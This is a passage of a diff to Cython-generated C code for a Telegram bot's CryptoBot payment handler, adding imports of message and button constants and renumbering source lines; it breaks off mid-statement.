&__pyx_type_8handlers_8payments_13cryprobot_pay___pyx_scope_struct_1_process_amount_selection_spec, NULL); if (unlikely(!__pyx_ptype_8handlers_8payments_13cryprobot_pay___pyx_scope_struct_1_process_amount_selection)) __PYX_ERR(0, 97, __pyx_L1_error) + if (__Pyx_fix_up_extension_type_from_spec(&__pyx_type_8handlers_8payments_13cryprobot_pay___pyx_scope_struct_1_process_amount_selection_spec, __pyx_ptype_8handlers_8payments_13cryprobot_pay___pyx_scope_struct_1_process_amount_selection) < 0) __PYX_ERR(0, 97, __pyx_L1_error) #else __pyx_ptype_8handlers_8payments_13cryprobot_pay___pyx_scope_struct_1_process_amount_selection = &__pyx_type_8handlers_8payments_13cryprobot_pay___pyx_scope_struct_1_process_amount_selection; #endif #if !CYTHON_COMPILING_IN_LIMITED_API #endif #if !CYTHON_USE_TYPE_SPECS - if (__Pyx_PyType_Ready(__pyx_ptype_8handlers_8payments_13cryprobot_pay___pyx_scope_struct_1_process_amount_selection) < 0) __PYX_ERR(0, 96, __pyx_L1_error) + if (__Pyx_PyType_Ready(__pyx_ptype_8handlers_8payments_13cryprobot_pay___pyx_scope_struct_1_process_amount_selection) < 0) __PYX_ERR(0, 97, __pyx_L1_error) #endif #if PY_MAJOR_VERSION < 3 __pyx_ptype_8handlers_8payments_13cryprobot_pay___pyx_scope_struct_1_process_amount_selection->tp_print = 0; @@ -11574,15 +11575,15 @@ static int __Pyx_modinit_type_init_code(void) { } #endif #if CYTHON_USE_TYPE_SPECS - __pyx_ptype_8handlers_8payments_13cryprobot_pay___pyx_scope_struct_2_cryptobot_webhook = (PyTypeObject *) __Pyx_PyType_FromModuleAndSpec(__pyx_m, &__pyx_type_8handlers_8payments_13cryprobot_pay___pyx_scope_struct_2_cryptobot_webhook_spec, NULL); if (unlikely(!__pyx_ptype_8handlers_8payments_13cryprobot_pay___pyx_scope_struct_2_cryptobot_webhook)) __PYX_ERR(0, 171, __pyx_L1_error) - if (__Pyx_fix_up_extension_type_from_spec(&__pyx_type_8handlers_8payments_13cryprobot_pay___pyx_scope_struct_2_cryptobot_webhook_spec, __pyx_ptype_8handlers_8payments_13cryprobot_pay___pyx_scope_struct_2_cryptobot_webhook) < 0) __PYX_ERR(0, 171, __pyx_L1_error) + __pyx_ptype_8handlers_8payments_13cryprobot_pay___pyx_scope_struct_2_cryptobot_webhook = (PyTypeObject *) __Pyx_PyType_FromModuleAndSpec(__pyx_m, &__pyx_type_8handlers_8payments_13cryprobot_pay___pyx_scope_struct_2_cryptobot_webhook_spec, NULL); if (unlikely(!__pyx_ptype_8handlers_8payments_13cryprobot_pay___pyx_scope_struct_2_cryptobot_webhook)) __PYX_ERR(0, 172, __pyx_L1_error) + if (__Pyx_fix_up_extension_type_from_spec(&__pyx_type_8handlers_8payments_13cryprobot_pay___pyx_scope_struct_2_cryptobot_webhook_spec, __pyx_ptype_8handlers_8payments_13cryprobot_pay___pyx_scope_struct_2_cryptobot_webhook) < 0) __PYX_ERR(0, 172, __pyx_L1_error) #else __pyx_ptype_8handlers_8payments_13cryprobot_pay___pyx_scope_struct_2_cryptobot_webhook = &__pyx_type_8handlers_8payments_13cryprobot_pay___pyx_scope_struct_2_cryptobot_webhook; #endif #if !CYTHON_COMPILING_IN_LIMITED_API #endif #if !CYTHON_USE_TYPE_SPECS - if (__Pyx_PyType_Ready(__pyx_ptype_8handlers_8payments_13cryprobot_pay___pyx_scope_struct_2_cryptobot_webhook) < 0) __PYX_ERR(0, 171, __pyx_L1_error) + if (__Pyx_PyType_Ready(__pyx_ptype_8handlers_8payments_13cryprobot_pay___pyx_scope_struct_2_cryptobot_webhook) < 0) __PYX_ERR(0, 172, __pyx_L1_error) #endif #if PY_MAJOR_VERSION < 3 __pyx_ptype_8handlers_8payments_13cryprobot_pay___pyx_scope_struct_2_cryptobot_webhook->tp_print = 0; @@ -11593,15 +11594,15 @@ static int __Pyx_modinit_type_init_code(void) { } #endif #if CYTHON_USE_TYPE_SPECS - __pyx_ptype_8handlers_8payments_13cryprobot_pay___pyx_scope_struct_3_check_hash = (PyTypeObject *) __Pyx_PyType_FromModuleAndSpec(__pyx_m, &__pyx_type_8handlers_8payments_13cryprobot_pay___pyx_scope_struct_3_check_hash_spec, NULL); if (unlikely(!__pyx_ptype_8handlers_8payments_13cryprobot_pay___pyx_scope_struct_3_check_hash)) __PYX_ERR(0, 194, __pyx_L1_error) - if (__Pyx_fix_up_extension_type_from_spec(&__pyx_type_8handlers_8payments_13cryprobot_pay___pyx_scope_struct_3_check_hash_spec, __pyx_ptype_8handlers_8payments_13cryprobot_pay___pyx_scope_struct_3_check_hash) < 0) __PYX_ERR(0, 194, __pyx_L1_error) + __pyx_ptype_8handlers_8payments_13cryprobot_pay___pyx_scope_struct_3_check_hash = (PyTypeObject *) __Pyx_PyType_FromModuleAndSpec(__pyx_m, &__pyx_type_8handlers_8payments_13cryprobot_pay___pyx_scope_struct_3_check_hash_spec, NULL); if (unlikely(!__pyx_ptype_8handlers_8payments_13cryprobot_pay___pyx_scope_struct_3_check_hash)) __PYX_ERR(0, 195, __pyx_L1_error) + if (__Pyx_fix_up_extension_type_from_spec(&__pyx_type_8handlers_8payments_13cryprobot_pay___pyx_scope_struct_3_check_hash_spec, __pyx_ptype_8handlers_8payments_13cryprobot_pay___pyx_scope_struct_3_check_hash) < 0) __PYX_ERR(0, 195, __pyx_L1_error) #else __pyx_ptype_8handlers_8payments_13cryprobot_pay___pyx_scope_struct_3_check_hash = &__pyx_type_8handlers_8payments_13cryprobot_pay___pyx_scope_struct_3_check_hash; #endif #if !CYTHON_COMPILING_IN_LIMITED_API #endif #if !CYTHON_USE_TYPE_SPECS - if (__Pyx_PyType_Ready(__pyx_ptype_8handlers_8payments_13cryprobot_pay___pyx_scope_struct_3_check_hash) < 0) __PYX_ERR(0, 194, __pyx_L1_error) + if (__Pyx_PyType_Ready(__pyx_ptype_8handlers_8payments_13cryprobot_pay___pyx_scope_struct_3_check_hash) < 0) __PYX_ERR(0, 195, __pyx_L1_error) #endif #if PY_MAJOR_VERSION < 3 __pyx_ptype_8handlers_8payments_13cryprobot_pay___pyx_scope_struct_3_check_hash->tp_print = 0; @@ -11612,15 +11613,15 @@ static int __Pyx_modinit_type_init_code(void) { } #endif #if CYTHON_USE_TYPE_SPECS - __pyx_ptype_8handlers_8payments_13cryprobot_pay___pyx_scope_struct_4_process_crypto_payment = (PyTypeObject *) __Pyx_PyType_FromModuleAndSpec(__pyx_m, &__pyx_type_8handlers_8payments_13cryprobot_pay___pyx_scope_struct_4_process_crypto_payment_spec, NULL); if (unlikely(!__pyx_ptype_8handlers_8payments_13cryprobot_pay___pyx_scope_struct_4_process_crypto_payment)) __PYX_ERR(0, 204, __pyx_L1_error) - if (__Pyx_fix_up_extension_type_from_spec(&__pyx_type_8handlers_8payments_13cryprobot_pay___pyx_scope_struct_4_process_crypto_payment_spec, __pyx_ptype_8handlers_8payments_13cryprobot_pay___pyx_scope_struct_4_process_crypto_payment) < 0) __PYX_ERR(0, 204, __pyx_L1_error) + __pyx_ptype_8handlers_8payments_13cryprobot_pay___pyx_scope_struct_4_process_crypto_payment = (PyTypeObject *) __Pyx_PyType_FromModuleAndSpec(__pyx_m, &__pyx_type_8handlers_8payments_13cryprobot_pay___pyx_scope_struct_4_process_crypto_payment_spec, NULL); if (unlikely(!__pyx_ptype_8handlers_8payments_13cryprobot_pay___pyx_scope_struct_4_process_crypto_payment)) __PYX_ERR(0, 205, __pyx_L1_error) + if (__Pyx_fix_up_extension_type_from_spec(&__pyx_type_8handlers_8payments_13cryprobot_pay___pyx_scope_struct_4_process_crypto_payment_spec, __pyx_ptype_8handlers_8payments_13cryprobot_pay___pyx_scope_struct_4_process_crypto_payment) < 0) __PYX_ERR(0, 205, __pyx_L1_error) #else __pyx_ptype_8handlers_8payments_13cryprobot_pay___pyx_scope_struct_4_process_crypto_payment = &__pyx_type_8handlers_8payments_13cryprobot_pay___pyx_scope_struct_4_process_crypto_payment; #endif #if !CYTHON_COMPILING_IN_LIMITED_API #endif #if !CYTHON_USE_TYPE_SPECS - if (__Pyx_PyType_Ready(__pyx_ptype_8handlers_8payments_13cryprobot_pay___pyx_scope_struct_4_process_crypto_payment) < 0) __PYX_ERR(0, 204, __pyx_L1_error) + if (__Pyx_PyType_Ready(__pyx_ptype_8handlers_8payments_13cryprobot_pay___pyx_scope_struct_4_process_crypto_payment) < 0) __PYX_ERR(0, 205, __pyx_L1_error) #endif #if PY_MAJOR_VERSION < 3 __pyx_ptype_8handlers_8payments_13cryprobot_pay___pyx_scope_struct_4_process_crypto_payment->tp_print = 0; @@ -11631,15 +11632,15 @@ static int __Pyx_modinit_type_init_code(void) { } #endif #if CYTHON_USE_TYPE_SPECS - __pyx_ptype_8handlers_8payments_13cryprobot_pay___pyx_scope_struct_5_process_enter_custom_amount = (PyTypeObject *) __Pyx_PyType_FromModuleAndSpec(__pyx_m, &__pyx_type_8handlers_8payments_13cryprobot_pay___pyx_scope_struct_5_process_enter_custom_amount_spec, NULL); if (unlikely(!__pyx_ptype_8handlers_8payments_13cryprobot_pay___pyx_scope_struct_5_process_enter_custom_amount)) __PYX_ERR(0, 221, __pyx_L1_error) - if (__Pyx_fix_up_extension_type_from_spec(&__pyx_type_8handlers_8payments_13cryprobot_pay___pyx_scope_struct_5_process_enter_custom_amount_spec, __pyx_ptype_8handlers_8payments_13cryprobot_pay___pyx_scope_struct_5_process_enter_custom_amount) < 0) __PYX_ERR(0, 221, __pyx_L1_error) + __pyx_ptype_8handlers_8payments_13cryprobot_pay___pyx_scope_struct_5_process_enter_custom_amount = (PyTypeObject *) __Pyx_PyType_FromModuleAndSpec(__pyx_m, &__pyx_type_8handlers_8payments_13cryprobot_pay___pyx_scope_struct_5_process_enter_custom_amount_spec, NULL); if (unlikely(!__pyx_ptype_8handlers_8payments_13cryprobot_pay___pyx_scope_struct_5_process_enter_custom_amount)) __PYX_ERR(0, 222, __pyx_L1_error) + if (__Pyx_fix_up_extension_type_from_spec(&__pyx_type_8handlers_8payments_13cryprobot_pay___pyx_scope_struct_5_process_enter_custom_amount_spec, __pyx_ptype_8handlers_8payments_13cryprobot_pay___pyx_scope_struct_5_process_enter_custom_amount) < 0) __PYX_ERR(0, 222, __pyx_L1_error) #else __pyx_ptype_8handlers_8payments_13cryprobot_pay___pyx_scope_struct_5_process_enter_custom_amount = &__pyx_type_8handlers_8payments_13cryprobot_pay___pyx_scope_struct_5_process_enter_custom_amount; #endif #if !CYTHON_COMPILING_IN_LIMITED_API #endif #if !CYTHON_USE_TYPE_SPECS - if (__Pyx_PyType_Ready(__pyx_ptype_8handlers_8payments_13cryprobot_pay___pyx_scope_struct_5_process_enter_custom_amount) < 0) __PYX_ERR(0, 221, __pyx_L1_error) + if (__Pyx_PyType_Ready(__pyx_ptype_8handlers_8payments_13cryprobot_pay___pyx_scope_struct_5_process_enter_custom_amount) < 0) __PYX_ERR(0, 222, __pyx_L1_error) #endif #if PY_MAJOR_VERSION < 3 __pyx_ptype_8handlers_8payments_13cryprobot_pay___pyx_scope_struct_5_process_enter_custom_amount->tp_print = 0; @@ -11650,15 +11651,15 @@ static int __Pyx_modinit_type_init_code(void) { } #endif #if CYTHON_USE_TYPE_SPECS - __pyx_ptype_8handlers_8payments_13cryprobot_pay___pyx_scope_struct_6_process_custom_amount_input = (PyTypeObject *) __Pyx_PyType_FromModuleAndSpec(__pyx_m, &__pyx_type_8handlers_8payments_13cryprobot_pay___pyx_scope_struct_6_process_custom_amount_input_spec, NULL); if (unlikely(!__pyx_ptype_8handlers_8payments_13cryprobot_pay___pyx_scope_struct_6_process_custom_amount_input)) __PYX_ERR(0, 236, __pyx_L1_error) - if (__Pyx_fix_up_extension_type_from_spec(&__pyx_type_8handlers_8payments_13cryprobot_pay___pyx_scope_struct_6_process_custom_amount_input_spec, __pyx_ptype_8handlers_8payments_13cryprobot_pay___pyx_scope_struct_6_process_custom_amount_input) < 0) __PYX_ERR(0, 236, __pyx_L1_error) + __pyx_ptype_8handlers_8payments_13cryprobot_pay___pyx_scope_struct_6_process_custom_amount_input = (PyTypeObject *) __Pyx_PyType_FromModuleAndSpec(__pyx_m, &__pyx_type_8handlers_8payments_13cryprobot_pay___pyx_scope_struct_6_process_custom_amount_input_spec, NULL); if (unlikely(!__pyx_ptype_8handlers_8payments_13cryprobot_pay___pyx_scope_struct_6_process_custom_amount_input)) __PYX_ERR(0, 237, __pyx_L1_error) + if (__Pyx_fix_up_extension_type_from_spec(&__pyx_type_8handlers_8payments_13cryprobot_pay___pyx_scope_struct_6_process_custom_amount_input_spec, __pyx_ptype_8handlers_8payments_13cryprobot_pay___pyx_scope_struct_6_process_custom_amount_input) < 0) __PYX_ERR(0, 237, __pyx_L1_error) #else __pyx_ptype_8handlers_8payments_13cryprobot_pay___pyx_scope_struct_6_process_custom_amount_input = &__pyx_type_8handlers_8payments_13cryprobot_pay___pyx_scope_struct_6_process_custom_amount_input; #endif #if !CYTHON_COMPILING_IN_LIMITED_API #endif #if !CYTHON_USE_TYPE_SPECS - if (__Pyx_PyType_Ready(__pyx_ptype_8handlers_8payments_13cryprobot_pay___pyx_scope_struct_6_process_custom_amount_input) < 0) __PYX_ERR(0, 236, __pyx_L1_error) + if (__Pyx_PyType_Ready(__pyx_ptype_8handlers_8payments_13cryprobot_pay___pyx_scope_struct_6_process_custom_amount_input) < 0) __PYX_ERR(0, 237, __pyx_L1_error) #endif #if PY_MAJOR_VERSION < 3 __pyx_ptype_8handlers_8payments_13cryprobot_pay___pyx_scope_struct_6_process_custom_amount_input->tp_print = 0; @@ -12223,7 +12224,7 @@ if (!__Pyx_RefNanny) { __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; - __pyx_t_2 = PyList_New(2); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 21, __pyx_L1_error) + __pyx_t_2 = PyList_New(4); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 21, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __Pyx_INCREF(__pyx_n_s_PAYMENT_OPTIONS); __Pyx_GIVEREF(__pyx_n_s_PAYMENT_OPTIONS); @@ -12231,6 +12232,12 @@ if (!__Pyx_RefNanny) { __Pyx_INCREF(__pyx_n_s_AMOUNT_TEXT); __Pyx_GIVEREF(__pyx_n_s_AMOUNT_TEXT); if (__Pyx_PyList_SET_ITEM(__pyx_t_2, 1, __pyx_n_s_AMOUNT_TEXT)) __PYX_ERR(0, 21, __pyx_L1_error); + __Pyx_INCREF(__pyx_n_s_DEFAULT_PAYMENT_MESSAGE); + __Pyx_GIVEREF(__pyx_n_s_DEFAULT_PAYMENT_MESSAGE); + if (__Pyx_PyList_SET_ITEM(__pyx_t_2, 2, __pyx_n_s_DEFAULT_PAYMENT_MESSAGE)) __PYX_ERR(0, 21, __pyx_L1_error); + __Pyx_INCREF(__pyx_n_s_ENTER_SUM); + __Pyx_GIVEREF(__pyx_n_s_ENTER_SUM); + if (__Pyx_PyList_SET_ITEM(__pyx_t_2, 3, __pyx_n_s_ENTER_SUM)) __PYX_ERR(0, 21, __pyx_L1_error); __pyx_t_3 = __Pyx_Import(__pyx_n_s_handlers_texts, __pyx_t_2, 0); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 21, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; @@ -12242,6 +12249,14 @@ if (!__Pyx_RefNanny) { __Pyx_GOTREF(__pyx_t_2); if (PyDict_SetItem(__pyx_d, __pyx_n_s_AMOUNT_TEXT, __pyx_t_2) < 0) __PYX_ERR(0, 21, __pyx_L1_error) __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + __pyx_t_2 = __Pyx_ImportFrom(__pyx_t_3, __pyx_n_s_DEFAULT_PAYMENT_MESSAGE); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 21, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_2); + if (PyDict_SetItem(__pyx_d, __pyx_n_s_DEFAULT_PAYMENT_MESSAGE, __pyx_t_2) < 0) __PYX_ERR(0, 21, __pyx_L1_error) + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + __pyx_t_2 = __Pyx_ImportFrom(__pyx_t_3, __pyx_n_s_ENTER_SUM); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 21, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_2); + if (PyDict_SetItem(__pyx_d, __pyx_n_s_ENTER_SUM, __pyx_t_2) < 0) __PYX_ERR(0, 21, __pyx_L1_error) + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; __pyx_t_3 = PyList_New(1); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 22, __pyx_L1_error) @@ -12258,102 +12273,96 @@ if (!__Pyx_RefNanny) { __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; - __pyx_t_2 = PyList_New(1); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 24, __pyx_L1_error) + __pyx_t_2 = PyList_New(2); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 23, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); + __Pyx_INCREF(__pyx_n_s_BACK); + __Pyx_GIVEREF(__pyx_n_s_BACK); + if (__Pyx_PyList_SET_ITEM(__pyx_t_2, 0, __pyx_n_s_BACK)) __PYX_ERR(0, 23, __pyx_L1_error); + __Pyx_INCREF(__pyx_n_s_PAY); + __Pyx_GIVEREF(__pyx_n_s_PAY); + if (__Pyx_PyList_SET_ITEM(__pyx_t_2, 1, __pyx_n_s_PAY)) __PYX_ERR(0, 23, __pyx_L1_error); + __pyx_t_3 = __Pyx_Import(__pyx_n_s_handlers_buttons, __pyx_t_2, 0); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 23, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + __pyx_t_2 = __Pyx_ImportFrom(__pyx_t_3, __pyx_n_s_BACK); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 23, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_2); + if (PyDict_SetItem(__pyx_d, __pyx_n_s_BACK, __pyx_t_2) < 0) __PYX_ERR(0, 23, __pyx_L1_error) + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + __pyx_t_2 = __Pyx_ImportFrom(__pyx_t_3, __pyx_n_s_PAY); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 23, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_2); + if (PyDict_SetItem(__pyx_d, __pyx_n_s_PAY, __pyx_t_2) < 0) __PYX_ERR(0, 23, __pyx_L1_error) + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + + __pyx_t_3 = PyList_New(1); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 25, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); __Pyx_INCREF(__pyx_n_s_edit_or_send_message); __Pyx_GIVEREF(__pyx_n_s_edit_or_send_message); - if (__Pyx_PyList_SET_ITEM(__pyx_t_2, 0, __pyx_n_s_edit_or_send_message)) __PYX_ERR(0, 24, __pyx_L1_error); - __pyx_t_3 = __Pyx_Import(__pyx_n_s_handlers_utils, __pyx_t_2, 0); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 24, __pyx_L1_error) - __Pyx_GOTREF(__pyx_t_3); - __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; - __pyx_t_2 = __Pyx_ImportFrom(__pyx_t_3, __pyx_n_s_edit_or_send_message); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 24, __pyx_L1_error) - __Pyx_GOTREF(__pyx_t_2); - if (PyDict_SetItem(__pyx_d, __pyx_n_s_edit_or_send_message, __pyx_t_2) < 0) __PYX_ERR(0, 24, __pyx_L1_error) - __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; - __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; - - __Pyx_GetModuleGlobalName(__pyx_t_3, __pyx_n_s_Router); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 26, __pyx_L1_error) - __Pyx_GOTREF(__pyx_t_3); - __pyx_t_2 = __Pyx_PyObject_CallNoArg(__pyx_t_3); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 26, __pyx_L1_error) + if (__Pyx_PyList_SET_ITEM(__pyx_t_3, 0, __pyx_n_s_edit_or_send_message)) __PYX_ERR(0, 25, __pyx_L1_error); + __pyx_t_2 = __Pyx_Import(__pyx_n_s_handlers_utils, __pyx_t_3, 0); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 25, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; - if (PyDict_SetItem(__pyx_d, __pyx_n_s_router, __pyx_t_2) < 0) __PYX_ERR(0, 26, __pyx_L1_error) + __pyx_t_3 = __Pyx_ImportFrom(__pyx_t_2, __pyx_n_s_edit_or_send_message); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 25, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + if (PyDict_SetItem(__pyx_d, __pyx_n_s_edit_or_send_message, __pyx_t_3) < 0) __PYX_ERR(0, 25, __pyx_L1_error) + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; - __Pyx_GetModuleGlobalName(__pyx_t_2, __pyx_n_s_CRYPTO_BOT_ENABLE); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 29, __pyx_L1_error) + __Pyx_GetModuleGlobalName(__pyx_t_2, __pyx_n_s_Router); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 27, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); - __pyx_t_4 = __Pyx_PyObject_IsTrue(__pyx_t_2); if (unlikely((__pyx_t_4 < 0))) __PYX_ERR(0, 29, __pyx_L1_error) + __pyx_t_3 = __Pyx_PyObject_CallNoArg(__pyx_t_2); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 27, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + if (PyDict_SetItem(__pyx_d, __pyx_n_s_router, __pyx_t_3) < 0) __PYX_ERR(0, 27, __pyx_L1_error) + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + + __Pyx_GetModuleGlobalName(__pyx_t_3, __pyx_n_s_CRYPTO_BOT_ENABLE); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 30, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + __pyx_t_4 = __Pyx_PyObject_IsTrue(__pyx_t_3); if (unlikely((__pyx_t_4 < 0))) __PYX_ERR(0, 30, __pyx_L1_error) + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; if (__pyx_t_4) { - __Pyx_GetModuleGlobalName(__pyx_t_2, __pyx_n_s_AioCryptoPay); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 30, __pyx_L1_error) + __Pyx_GetModuleGlobalName(__pyx_t_3, __pyx_n_s_AioCryptoPay); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 31, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + __pyx_t_2 = __Pyx_PyDict_NewPresized(2); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 31, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); - __pyx_t_3 = __Pyx_PyDict_NewPresized(2); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 30, __pyx_L1_error) - __Pyx_GOTREF(__pyx_t_3); - __Pyx_GetModuleGlobalName(__pyx_t_5, __pyx_n_s_CRYPTO_BOT_TOKEN); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 30, __pyx_L1_error) + __Pyx_GetModuleGlobalName(__pyx_t_5, __pyx_n_s_CRYPTO_BOT_TOKEN); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 31, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_5); - if (PyDict_SetItem(__pyx_t_3, __pyx_n_s_token, __pyx_t_5) < 0) __PYX_ERR(0, 30, __pyx_L1_error) + if (PyDict_SetItem(__pyx_t_2, __pyx_n_s_token, __pyx_t_5) < 0) __PYX_ERR(0, 31, __pyx_L1_error) __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; - __Pyx_GetModuleGlobalName(__pyx_t_5, __pyx_n_s_Networks); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 30, __pyx_L1_error) + __Pyx_GetModuleGlobalName(__pyx_t_5, __pyx_n_s_Networks); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 31, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_5); - __pyx_t_6 = __Pyx_PyObject_GetAttrStr(__pyx_t_5, __pyx_n_s_MAIN_NET); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 30, __pyx_L1_error) + __pyx_t_6 = __Pyx_PyObject_GetAttrStr(__pyx_t_5, __pyx_n_s_MAIN_NET); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 31, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_6); __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; - if (PyDict_SetItem(__pyx_t_3, __pyx_n_s_network, __pyx_t_6) < 0) __PYX_ERR(0, 30, __pyx_L1_error) + if (PyDict_SetItem(__pyx_t_2, __pyx_n_s_network, __pyx_t_6) < 0) __PYX_ERR(0, 31, __pyx_L1_error) __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; - __pyx_t_6 = __Pyx_PyObject_Call(__pyx_t_2, __pyx_empty_tuple, __pyx_t_3); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 30, __pyx_L1_error) + __pyx_t_6 = __Pyx_PyObject_Call(__pyx_t_3, __pyx_empty_tuple, __pyx_t_2); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 31, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_6); - __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; - if (PyDict_SetItem(__pyx_d, __pyx_n_s_crypto_2, __pyx_t_6) < 0) __PYX_ERR(0, 30, __pyx_L1_error) + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + if (PyDict_SetItem(__pyx_d, __pyx_n_s_crypto_2, __pyx_t_6) < 0) __PYX_ERR(0, 31, __pyx_L1_error) __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; } - __Pyx_GetModuleGlobalName(__pyx_t_6, __pyx_n_s_StatesGroup); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 34, __pyx_L1_error) + __Pyx_GetModuleGlobalName(__pyx_t_6, __pyx_n_s_StatesGroup); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 35, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_6); - __pyx_t_3 = PyTuple_New(1); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 34, __pyx_L1_error) - __Pyx_GOTREF(__pyx_t_3); - __Pyx_GIVEREF(__pyx_t_6); - if (__Pyx_PyTuple_SET_ITEM(__pyx_t_3, 0, __pyx_t_6)) __PYX_ERR(0, 34, __pyx_L1_error); - __pyx_t_6 = 0; - __pyx_t_6 = __Pyx_PEP560_update_bases(__pyx_t_3); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 34, __pyx_L1_error) - __Pyx_GOTREF(__pyx_t_6); - __pyx_t_2 = __Pyx_CalculateMetaclass(NULL, __pyx_t_6); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 34, __pyx_L1_error) + __pyx_t_2 = PyTuple_New(1); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 35, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); - __pyx_t_5 = __Pyx_Py3MetaclassPrepare(__pyx_t_2, __pyx_t_6, __pyx_n_s_ReplenishBalanceState, __pyx_n_s_ReplenishBalanceState, (PyObject *) NULL, __pyx_n_s_handlers_payments_cryprobot_pay, (PyObject *) NULL); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 34, __pyx_L1_error) + __Pyx_GIVEREF(__pyx_t_6); + if (__Pyx_PyTuple_SET_ITEM(__pyx_t_2, 0, __pyx_t_6)) __PYX_ERR(0, 35, __pyx_L1_error); + __pyx_t_6 = 0; + __pyx_t_6 = __Pyx_PEP560_update_bases(__pyx_t_2); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 35, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_6); + __pyx_t_3 = __Pyx_CalculateMetaclass(NULL, __pyx_t_6); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 35, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + __pyx_t_5 = __Pyx_Py3MetaclassPrepare(__pyx_t_3, __pyx_t_6, __pyx_n_s_ReplenishBalanceState, __pyx_n_s_ReplenishBalanceState, (PyObject *) NULL, __pyx_n_s_handlers_payments_cryprobot_pay, (PyObject *) NULL); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 35, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_5); - if (__pyx_t_6 != __pyx_t_3) { - if 